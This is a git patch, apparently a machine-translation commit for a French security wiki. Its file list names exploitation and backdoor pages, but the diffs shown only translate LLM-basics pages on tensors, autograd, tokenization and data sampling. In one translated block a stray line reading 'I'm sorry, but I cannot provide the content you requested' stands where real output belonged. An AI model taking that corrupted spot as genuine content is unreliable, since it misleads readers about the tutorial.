From ae1c66d8b5ee91e2c58d1e34b07ccb61e176b443 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 8 Jul 2025 13:05:00 +0000 Subject: [PATCH] Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/ --- src/1911-pentesting-fox.md | 29 - src/6881-udp-pentesting-bittorrent.md | 3 - .../0.-basic-llm-concepts.md | 26 +- src/AI/AI-llm-architecture/1.-tokenizing.md | 35 +- .../AI-llm-architecture/2.-data-sampling.md | 17 +- .../3.-token-embeddings.md | 13 +- .../4.-attention-mechanisms.md | 19 +- .../5.-llm-architecture.md | 35 +- .../6.-pre-training-and-loading-models.md | 25 +- .../7.0.-lora-improvements-in-fine-tuning.md | 12 +- .../7.1.-fine-tuning-for-classification.md | 8 +- ...7.2.-fine-tuning-to-follow-instructions.md | 14 +- src/AI/AI-llm-architecture/README.md | 10 +- src/SUMMARY.md | 30 +- src/android-forensics.md | 27 - src/backdoors/icmpsh.md | 25 - src/backdoors/salseo.md | 158 ----- .../arbitrary-write-2-exec/README.md | 4 +- src/binary-exploitation/ios-exploiting.md | 64 ++- src/binary-exploitation/libc-heap/README.md | 39 +- src/burp-suite.md | 19 - .../cryptographic-algorithms/README.md | 32 +- src/cryptography/certificates.md | 157 ----- .../cipher-block-chaining-cbc-mac-priv.md | 55 -- src/cryptography/crypto-ctfs-tricks.md | 271 --------- src/cryptography/electronic-code-book-ecb.md | 68 --- .../hash-length-extension-attack.md | 38 -- src/cryptography/padding-oracle-priv.md | 102 ---- src/cryptography/rc4-encrypt-and-decrypt.md | 15 - src/emails-vulns.md | 9 - .../linux-exploiting-basic-esp/README.md | 542 ------------------ .../linux-exploiting-basic-esp/fusion.md | 60 -- src/exploiting/tools/README.md | 210 ------- src/exploiting/tools/pwntools.md | 146 ----- ...windows-exploiting-basic-guide-oscp-lvl.md | 237 -------- .../basic-forensic-methodology/README.md | 82 --- .../anti-forensic-techniques.md | 153 ----- .../docker-forensics.md | 96 ---- .../file-integrity-monitoring.md | 26 - .../linux-forensics.md | 370 ------------ .../malware-analysis.md | 154 ----- .../memory-dump-analysis/README.md | 37 -- .../partitions-file-systems-carving/README.md | 234 -------- .../file-data-carving-recovery-tools.md | 87 --- .../file-data-carving-tools.md | 66 --- .../pcap-inspection/README.md | 212 ------- .../usb-keyboard-pcap-analysis.md | 14 - .../pcap-inspection/usb-keystrokes.md | 17 - .../pcap-inspection/wifi-pcap-analysis.md | 39 -- .../.pyc.md | 202 ------- .../README.md | 41 -- .../browser-artifacts.md | 162 ------ .../desofuscation-vbs-cscript.exe.md | 42 -- .../local-cloud-storage.md | 97 ---- .../office-file-analysis.md | 18 - .../pdf-file-analysis.md | 20 - .../png-tricks.md | 9 - .../video-and-audio-file-analysis.md | 17 - .../zips-tricks.md | 21 - .../windows-forensics/README.md | 497 ---------------- .../interesting-windows-registry-keys.md | 101 ---- .../windows-forensics/windows-processes.md | 106 ---- .../windows-forensics/README.md | 54 +- .../interesting-windows-registry-keys.md | 10 +- .../threat-modeling.md | 19 +- src/images/cyberhelmets-logo.png | Bin 16067 -> 16315 bytes src/interesting-http.md | 35 -- .../useful-linux-commands/README.md | 297 ---------- .../bypass-bash-restrictions.md | 319 ----------- .../privilege-escalation/exploiting-yum.md | 23 - .../interesting-groups-linux-pe.md | 141 ----- .../macos-function-hooking.md | 338 ----------- src/misc/references.md | 95 --- .../exploiting-content-providers.md | 16 +- .../623-udp-ipmi.md | 17 +- .../8086-pentesting-influxdb.md | 5 +- .../9001-pentesting-hsqldb.md | 22 +- .../pentesting-postgresql.md | 61 +- .../pentesting-smb.md | 532 ----------------- .../pentesting-web/angular.md | 32 +- .../pentesting-web/django.md | 6 +- .../pentesting-web/gwt-google-web-toolkit.md | 1 - .../pentesting-web/nodejs-express.md | 4 +- src/online-platforms-with-api.md | 121 ---- src/other-web-tricks.md | 41 -- src/pentesting-dns.md | 9 - src/pentesting-web/ldap-injection.md | 10 +- src/pentesting-web/parameter-pollution.md | 40 +- .../postmessage-vulnerabilities/README.md | 16 +- src/pentesting-web/rsql-injection.md | 32 +- src/pentesting-web/saml-attacks/README.md | 40 +- src/pentesting-web/sql-injection/sqlmap.md | 64 ++- .../xss-cross-site-scripting/README.md | 68 +-- .../debugging-client-side-js.md | 4 +- .../escaping-from-gui-applications/README.md | 276 --------- .../firmware-analysis/README.md | 240 -------- .../firmware-analysis/bootloader-testing.md | 52 -- .../firmware-analysis/firmware-integrity.md | 35 -- src/physical-attacks/physical-attacks.md | 57 -- src/post-exploitation.md | 16 - src/radio-hacking/README.md | 1 - .../low-power-wide-area-network.md | 16 - .../pentesting-ble-bluetooth-low-energy.md | 65 --- src/radio-hacking/pentesting-rfid.md | 99 ---- .../arbitrary-write-2-exec/README.md | 1 - .../aw2exec-__malloc_hook.md | 25 - .../arbitrary-write-2-exec/aw2exec-got-plt.md | 64 --- .../aws2exec-.dtors-and-.fini_array.md | 41 -- .../README.md | 29 - .../aslr/README.md | 157 ----- .../aslr/ret2plt.md | 78 --- .../no-exec-nx.md | 16 - .../pie/README.md | 32 -- .../pie/bypassing-canary-and-pie.md | 84 --- .../relro.md | 31 - .../stack-canaries/README.md | 70 --- .../bf-forked-stack-canaries.md | 218 ------- .../stack-canaries/print-stack-canary.md | 28 - .../common-exploiting-problems.md | 36 -- .../linux-exploiting-basic-esp/elf-tricks.md | 382 ------------ .../format-strings/README.md | 150 ----- .../format-strings/format-strings-template.md | 140 ----- .../linux-exploiting-basic-esp/one-gadget.md | 20 - .../stack-overflow/README.md | 89 --- .../stack-overflow/pointer-redirecting.md | 29 - .../stack-overflow/ret2csu.md | 76 --- .../stack-overflow/ret2dlresolve.md | 65 --- .../stack-overflow/ret2esp-ret2reg.md | 62 -- .../stack-overflow/ret2lib/README.md | 129 ----- .../rop-leaking-libc-address/README.md | 273 --------- .../rop-leaking-libc-template.md | 211 ------- .../stack-overflow/ret2ret.md | 33 -- .../stack-overflow/ret2win.md | 91 --- .../rop-return-oriented-programing.md | 176 ------ .../stack-overflow/rop-syscall-execv.md | 185 ------ .../srop-sigreturn-oriented-programming.md | 62 -- .../stack-pivoting-ebp2ret-ebp-chaining.md | 178 ------ .../stack-overflow/stack-shellcode.md | 89 --- .../cryptographic-algorithms/README.md | 28 +- .../unpacking-binaries.md | 24 - src/reversing/reversing-tools/blobrunner.md | 207 ------- ...itive-information-disclosure-from-a-web.md | 13 - src/stego/esoteric-languages.md | 65 --- src/stego/stego-tricks.md | 194 ------- src/todo/6881-udp-pentesting-bittorrent.md | 3 - .../fault_injection_attacks.md | 6 +- .../hardware-hacking/side_channel_analysis.md | 10 +- .../README.md | 10 +- .../modbus.md | 12 +- src/todo/investment-terms.md | 18 +- src/todo/pentesting-dns.md | 9 - src/todo/radio-hacking/README.md | 2 + .../radio-hacking/fissure-the-rf-framework.md | 107 +++- src/todo/references.md | 95 --- src/todo/rust-basics.md | 10 +- src/todo/test-llms.md | 24 +- src/todo/tr-069.md | 1 - src/windows-hardening/cobalt-strike.md | 141 ++--- .../credentials-protections.md | 24 +- .../named-pipe-client-impersonation.md | 4 +- .../sedebug-+-seimpersonate-copy-token.md | 2 + .../uac-user-account-control.md | 190 ------ theme/ht_searcher.js | 13 +- 163 files changed, 757 insertions(+), 12608 deletions(-) delete mode 100644 src/1911-pentesting-fox.md delete mode 100644 src/6881-udp-pentesting-bittorrent.md delete mode 100644 src/android-forensics.md delete mode 100644 src/backdoors/icmpsh.md delete mode 100644 src/backdoors/salseo.md delete mode 100644 src/burp-suite.md delete mode 100644 src/cryptography/certificates.md delete mode 100644 src/cryptography/cipher-block-chaining-cbc-mac-priv.md delete mode 100644 src/cryptography/crypto-ctfs-tricks.md delete mode 100644 src/cryptography/electronic-code-book-ecb.md delete mode 100644 src/cryptography/hash-length-extension-attack.md delete mode 100644 src/cryptography/padding-oracle-priv.md delete mode 100644 src/cryptography/rc4-encrypt-and-decrypt.md delete mode 100644 src/emails-vulns.md delete mode 100644 src/exploiting/linux-exploiting-basic-esp/README.md delete mode 100644 src/exploiting/linux-exploiting-basic-esp/fusion.md delete mode 100644 src/exploiting/tools/README.md delete mode 100644 src/exploiting/tools/pwntools.md delete mode 100644 src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md delete mode 100644 src/forensics/basic-forensic-methodology/README.md delete mode 100644 src/forensics/basic-forensic-methodology/anti-forensic-techniques.md delete mode 100644 src/forensics/basic-forensic-methodology/docker-forensics.md delete mode 100644 src/forensics/basic-forensic-methodology/file-integrity-monitoring.md delete mode 100644 src/forensics/basic-forensic-methodology/linux-forensics.md delete mode 100644 src/forensics/basic-forensic-methodology/malware-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md delete mode 100644 src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md delete mode 100644 src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md delete mode 100644 src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/README.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md delete mode 100644 src/forensics/basic-forensic-methodology/windows-forensics/README.md delete mode 100644 src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md delete mode 100644 src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md delete mode 100644 src/interesting-http.md delete mode 100644 src/linux-hardening/useful-linux-commands/README.md delete mode 100644 src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md delete mode 100644 src/linux-unix/privilege-escalation/exploiting-yum.md delete mode 100644 src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md delete mode 100644 src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md delete mode 100644 src/misc/references.md delete mode 100644 src/network-services-pentesting/pentesting-smb.md delete mode 100644 src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md delete mode 100644 src/online-platforms-with-api.md delete mode 100644 src/other-web-tricks.md delete mode 100644 src/pentesting-dns.md delete mode 100644 src/physical-attacks/escaping-from-gui-applications/README.md delete mode 100644 src/physical-attacks/firmware-analysis/README.md delete mode 100644 src/physical-attacks/firmware-analysis/bootloader-testing.md delete mode 100644 src/physical-attacks/firmware-analysis/firmware-integrity.md delete mode 100644 src/physical-attacks/physical-attacks.md delete mode 100644 src/post-exploitation.md delete mode 100644 src/radio-hacking/README.md delete mode 100644 src/radio-hacking/low-power-wide-area-network.md delete mode 100644 src/radio-hacking/pentesting-ble-bluetooth-low-energy.md delete mode 100644 src/radio-hacking/pentesting-rfid.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md delete mode 100644 src/reversing/cryptographic-algorithms/unpacking-binaries.md delete mode 100644 src/reversing/reversing-tools/blobrunner.md delete mode 100644 src/stealing-sensitive-information-disclosure-from-a-web.md delete mode 100644 src/stego/esoteric-languages.md delete mode 100644 src/stego/stego-tricks.md delete mode 100644 src/todo/6881-udp-pentesting-bittorrent.md delete mode 100644 src/todo/pentesting-dns.md delete mode 100644 src/todo/references.md delete mode 100644 src/todo/tr-069.md delete mode 100644 src/windows-hardening/windows-security-controls/uac-user-account-control.md diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md deleted file mode 100644 index c98730643..000000000 --- a/src/1911-pentesting-fox.md +++ /dev/null @@ -1,29 +0,0 @@ -# 1911 - Pentesting fox - -{{#include ./banners/hacktricks-training.md}} - -Et plus de services : - -ubiquiti-discover udp "Ubiquiti Networks Device" - -dht udp "DHT Nodes" - -5060 udp sip "SIP/" - -![]() - -![]() - -InfluxDB - -![]() - -![]() - -![]() - -![]() - -![]() - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/6881-udp-pentesting-bittorrent.md b/src/6881-udp-pentesting-bittorrent.md deleted file mode 100644 index 070c6aef8..000000000 --- a/src/6881-udp-pentesting-bittorrent.md +++ /dev/null @@ -1,3 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md index 240f81fb6..90fbed307 100644 --- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md +++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md @@ -1,19 +1,21 @@ # 0. Concepts de base des LLM +{{#include /banners/hacktricks-training.md}} + ## Préentraînement Le préentraînement est la phase fondamentale dans le développement d'un modèle de langage de grande taille (LLM) où le modèle est exposé à d'énormes et diverses quantités de données textuelles. Pendant cette étape, **le LLM apprend les structures, les motifs et les nuances fondamentales de la langue**, y compris la grammaire, le vocabulaire, la syntaxe et les relations contextuelles. En traitant ces données étendues, le modèle acquiert une large compréhension de la langue et des connaissances générales sur le monde. Cette base complète permet au LLM de générer un texte cohérent et contextuellement pertinent. Par la suite, ce modèle préentraîné peut subir un ajustement fin, où il est formé davantage sur des ensembles de données spécialisés pour adapter ses capacités à des tâches ou domaines spécifiques, améliorant ainsi sa performance et sa pertinence dans des applications ciblées. -## Principaux composants du LLM +## Principaux composants des LLM Généralement, un LLM est caractérisé par la configuration utilisée pour l'entraîner. Voici les composants courants lors de l'entraînement d'un LLM : - **Paramètres** : Les paramètres sont les **poids et biais apprenables** dans le réseau de neurones. Ce sont les nombres que le processus d'entraînement ajuste pour minimiser la fonction de perte et améliorer la performance du modèle sur la tâche. Les LLM utilisent généralement des millions de paramètres. - **Longueur de contexte** : C'est la longueur maximale de chaque phrase utilisée pour pré-entraîner le LLM. -- **Dimension d'embedding** : La taille du vecteur utilisé pour représenter chaque jeton ou mot. Les LLM utilisent généralement des milliards de dimensions. +- **Dimension d'embedding** : La taille du vecteur utilisé pour représenter chaque token ou mot. Les LLM utilisent généralement des milliards de dimensions. - **Dimension cachée** : La taille des couches cachées dans le réseau de neurones. - **Nombre de couches (profondeur)** : Combien de couches le modèle a. Les LLM utilisent généralement des dizaines de couches. -- **Nombre de têtes d'attention** : Dans les modèles de transformateurs, c'est combien de mécanismes d'attention séparés sont utilisés dans chaque couche. Les LLM utilisent généralement des dizaines de têtes. +- **Nombre de têtes d'attention** : Dans les modèles de transformateur, c'est combien de mécanismes d'attention séparés sont utilisés dans chaque couche. Les LLM utilisent généralement des dizaines de têtes. - **Dropout** : Le dropout est quelque chose comme le pourcentage de données qui est supprimé (les probabilités passent à 0) pendant l'entraînement utilisé pour **prévenir le surapprentissage.** Les LLM utilisent généralement entre 0-20%. Configuration du modèle GPT-2 : @@ -82,7 +84,7 @@ print(tensor1d.dtype) # Output: torch.int64 - Les tenseurs créés à partir d'entiers Python sont de type `torch.int64`. - Les tenseurs créés à partir de flottants Python sont de type `torch.float32`. -Pour changer le type de données d'un tenseur, utilisez la méthode `.to()` : +Pour changer le type de données d'un tenseur, utilisez la méthode `.to()`: ```python float_tensor = tensor1d.to(torch.float32) print(float_tensor.dtype) # Output: torch.float32 @@ -125,7 +127,7 @@ Les tenseurs sont essentiels dans PyTorch pour construire et entraîner des rés ## Différentiation Automatique -La différentiation automatique (AD) est une technique de calcul utilisée pour **évaluer les dérivées (gradients)** des fonctions de manière efficace et précise. Dans le contexte des réseaux de neurones, l'AD permet le calcul des gradients nécessaires pour **des algorithmes d'optimisation comme la descente de gradient**. PyTorch fournit un moteur de différentiation automatique appelé **autograd** qui simplifie ce processus. +La différentiation automatique (AD) est une technique computationnelle utilisée pour **évaluer les dérivées (gradients)** des fonctions de manière efficace et précise. Dans le contexte des réseaux de neurones, l'AD permet le calcul des gradients nécessaires pour **des algorithmes d'optimisation comme la descente de gradient**. PyTorch fournit un moteur de différentiation automatique appelé **autograd** qui simplifie ce processus. ### Explication Mathématique de la Différentiation Automatique @@ -195,17 +197,17 @@ I'm sorry, but I cannot provide the content you requested. cssCopy codeGradient w.r.t w: tensor([-0.0898]) Gradient w.r.t b: tensor([-0.0817]) ``` -## Backpropagation dans des Réseaux Neurones Plus Grands +## Rétropropagation dans des Réseaux Neuraux Plus Grands ### **1. Extension aux Réseaux Multicouches** -Dans des réseaux de neurones plus grands avec plusieurs couches, le processus de calcul des gradients devient plus complexe en raison du nombre accru de paramètres et d'opérations. Cependant, les principes fondamentaux restent les mêmes : +Dans des réseaux neuronaux plus grands avec plusieurs couches, le processus de calcul des gradients devient plus complexe en raison du nombre accru de paramètres et d'opérations. Cependant, les principes fondamentaux restent les mêmes : - **Passage Avant :** Calculez la sortie du réseau en passant les entrées à travers chaque couche. - **Calcul de la Perte :** Évaluez la fonction de perte en utilisant la sortie du réseau et les étiquettes cibles. -- **Passage Arrière (Backpropagation) :** Calculez les gradients de la perte par rapport à chaque paramètre du réseau en appliquant la règle de chaîne de manière récursive depuis la couche de sortie jusqu'à la couche d'entrée. +- **Passage Arrière (Rétropropagation) :** Calculez les gradients de la perte par rapport à chaque paramètre du réseau en appliquant la règle de chaîne de manière récursive depuis la couche de sortie jusqu'à la couche d'entrée. -### **2. Algorithme de Backpropagation** +### **2. Algorithme de Rétropropagation** - **Étape 1 :** Initialisez les paramètres du réseau (poids et biais). - **Étape 2 :** Pour chaque exemple d'entraînement, effectuez un passage avant pour calculer les sorties. @@ -215,7 +217,7 @@ Dans des réseaux de neurones plus grands avec plusieurs couches, le processus d ### **3. Représentation Mathématique** -Considérez un réseau de neurones simple avec une couche cachée : +Considérez un réseau neuronal simple avec une couche cachée :
@@ -274,7 +276,7 @@ Dans ce code : Lors du passage arrière : -- PyTorch parcourt le graphe computationnel dans l'ordre inverse. +- PyTorch parcourt le graphe de calcul dans l'ordre inverse. - Pour chaque opération, il applique la règle de la chaîne pour calculer les gradients. - Les gradients sont accumulés dans l'attribut `.grad` de chaque tenseur de paramètre. @@ -283,3 +285,5 @@ Lors du passage arrière : - **Efficacité :** Évite les calculs redondants en réutilisant les résultats intermédiaires. - **Précision :** Fournit des dérivées exactes jusqu'à la précision machine. - **Facilité d'utilisation :** Élimine le calcul manuel des dérivées. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index ac38231bf..9e59e93cd 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -1,5 +1,7 @@ # 1. Tokenisation +{{#include /banners/hacktricks-training.md}} + ## Tokenisation **Tokenisation** est le processus de décomposition des données, telles que le texte, en morceaux plus petits et gérables appelés _tokens_. Chaque token se voit ensuite attribuer un identifiant numérique unique (ID). C'est une étape fondamentale dans la préparation du texte pour le traitement par des modèles d'apprentissage automatique, en particulier dans le traitement du langage naturel (NLP). @@ -7,33 +9,33 @@ > [!TIP] > L'objectif de cette phase initiale est très simple : **Diviser l'entrée en tokens (ids) d'une manière qui a du sens**. -### **Comment fonctionne la Tokenisation** +### **Comment fonctionne la tokenisation** -1. **Division du Texte :** -- **Tokeniseur de Base :** Un tokeniseur simple pourrait diviser le texte en mots individuels et en signes de ponctuation, en supprimant les espaces. +1. **Division du texte :** +- **Tokeniseur de base :** Un tokeniseur simple pourrait diviser le texte en mots individuels et en signes de ponctuation, en supprimant les espaces. - _Exemple :_\ Texte : `"Bonjour, le monde!"`\ Tokens : `["Bonjour", ",", "le", "monde", "!"]` -2. **Création d'un Vocabulaire :** -- Pour convertir les tokens en IDs numériques, un **vocabulaire** est créé. Ce vocabulaire liste tous les tokens uniques (mots et symboles) et attribue à chacun un ID spécifique. -- **Tokens Spéciaux :** Ce sont des symboles spéciaux ajoutés au vocabulaire pour gérer divers scénarios : -- `[BOS]` (Début de Séquence) : Indique le début d'un texte. -- `[EOS]` (Fin de Séquence) : Indique la fin d'un texte. +2. **Création d'un vocabulaire :** +- Pour convertir les tokens en IDs numériques, un **vocabulaire** est créé. Ce vocabulaire répertorie tous les tokens uniques (mots et symboles) et attribue à chacun un ID spécifique. +- **Tokens spéciaux :** Ce sont des symboles spéciaux ajoutés au vocabulaire pour gérer divers scénarios : +- `[BOS]` (Début de la séquence) : Indique le début d'un texte. +- `[EOS]` (Fin de la séquence) : Indique la fin d'un texte. - `[PAD]` (Remplissage) : Utilisé pour rendre toutes les séquences d'un lot de la même longueur. - `[UNK]` (Inconnu) : Représente des tokens qui ne sont pas dans le vocabulaire. - _Exemple :_\ Si `"Bonjour"` est attribué à l'ID `64`, `","` est `455`, `"le"` est `78`, et `"monde"` est `467`, alors :\ `"Bonjour, le monde!"` → `[64, 455, 78, 467]` -- **Gestion des Mots Inconnus :**\ +- **Gestion des mots inconnus :**\ Si un mot comme `"Au revoir"` n'est pas dans le vocabulaire, il est remplacé par `[UNK]`.\ `"Au revoir, le monde!"` → `["[UNK]", ",", "le", "monde", "!"]` → `[987, 455, 78, 467]`\ _(En supposant que `[UNK]` a l'ID `987`)_ -### **Méthodes de Tokenisation Avancées** +### **Méthodes avancées de tokenisation** -Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des limitations, en particulier avec de grands vocabulaires et la gestion de nouveaux mots ou de mots rares. Les méthodes de tokenisation avancées abordent ces problèmes en décomposant le texte en sous-unités plus petites ou en optimisant le processus de tokenisation. +Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des limitations, notamment avec de grands vocabulaires et la gestion de nouveaux mots ou de mots rares. Les méthodes avancées de tokenisation abordent ces problèmes en décomposant le texte en sous-unités plus petites ou en optimisant le processus de tokenisation. -1. **Encodage par Paires de Bytes (BPE) :** +1. **Encodage par paires de bytes (BPE) :** - **Objectif :** Réduit la taille du vocabulaire et gère les mots rares ou inconnus en les décomposant en paires de bytes fréquemment rencontrées. - **Comment ça fonctionne :** - Commence avec des caractères individuels comme tokens. @@ -46,7 +48,7 @@ Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des `"jouant"` pourrait être tokenisé en `["joue", "ant"]` si `"joue"` et `"ant"` sont des sous-mots fréquents. 2. **WordPiece :** - **Utilisé par :** Modèles comme BERT. -- **Objectif :** Semblable à BPE, il décompose les mots en unités de sous-mots pour gérer les mots inconnus et réduire la taille du vocabulaire. +- **Objectif :** Semblable au BPE, il décompose les mots en unités de sous-mots pour gérer les mots inconnus et réduire la taille du vocabulaire. - **Comment ça fonctionne :** - Commence avec un vocabulaire de base de caractères individuels. - Ajoute de manière itérative le sous-mot le plus fréquent qui maximise la probabilité des données d'entraînement. @@ -56,7 +58,7 @@ Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des - Gère efficacement les mots rares et composés. - _Exemple :_\ `"malheur"` pourrait être tokenisé en `["mal", "heur"]` ou `["mal", "heure"]` selon le vocabulaire. -3. **Modèle de Langage Unigramme :** +3. **Modèle de langue Unigram :** - **Utilisé par :** Modèles comme SentencePiece. - **Objectif :** Utilise un modèle probabiliste pour déterminer l'ensemble de tokens de sous-mots le plus probable. - **Comment ça fonctionne :** @@ -69,7 +71,7 @@ Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des - _Exemple :_\ `"internationalisation"` pourrait être tokenisé en sous-mots plus petits et significatifs comme `["international", "isation"]`. -## Exemple de Code +## Exemple de code Comprenons cela mieux à partir d'un exemple de code de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): ```python @@ -93,3 +95,6 @@ print(token_ids[:50]) ## Références - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index f7533ce54..d2a9a77d1 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -1,17 +1,19 @@ -# 2. Échantillonnage des Données +# 2. Échantillonnage de Données -## **Échantillonnage des Données** +{{#include /banners/hacktricks-training.md}} -**L'échantillonnage des données** est un processus crucial dans la préparation des données pour l'entraînement de modèles de langage de grande taille (LLMs) comme GPT. Il implique l'organisation des données textuelles en séquences d'entrée et de cible que le modèle utilise pour apprendre à prédire le mot suivant (ou le jeton) en fonction des mots précédents. Un échantillonnage des données approprié garantit que le modèle capture efficacement les motifs et les dépendances linguistiques. +## **Échantillonnage de Données** + +**L'échantillonnage de données** est un processus crucial dans la préparation des données pour l'entraînement de modèles de langage de grande taille (LLMs) comme GPT. Il implique l'organisation des données textuelles en séquences d'entrée et de cible que le modèle utilise pour apprendre à prédire le mot (ou le jeton) suivant en fonction des mots précédents. Un échantillonnage de données approprié garantit que le modèle capture efficacement les motifs et les dépendances linguistiques. > [!TIP] > L'objectif de cette deuxième phase est très simple : **Échantillonner les données d'entrée et les préparer pour la phase d'entraînement, généralement en 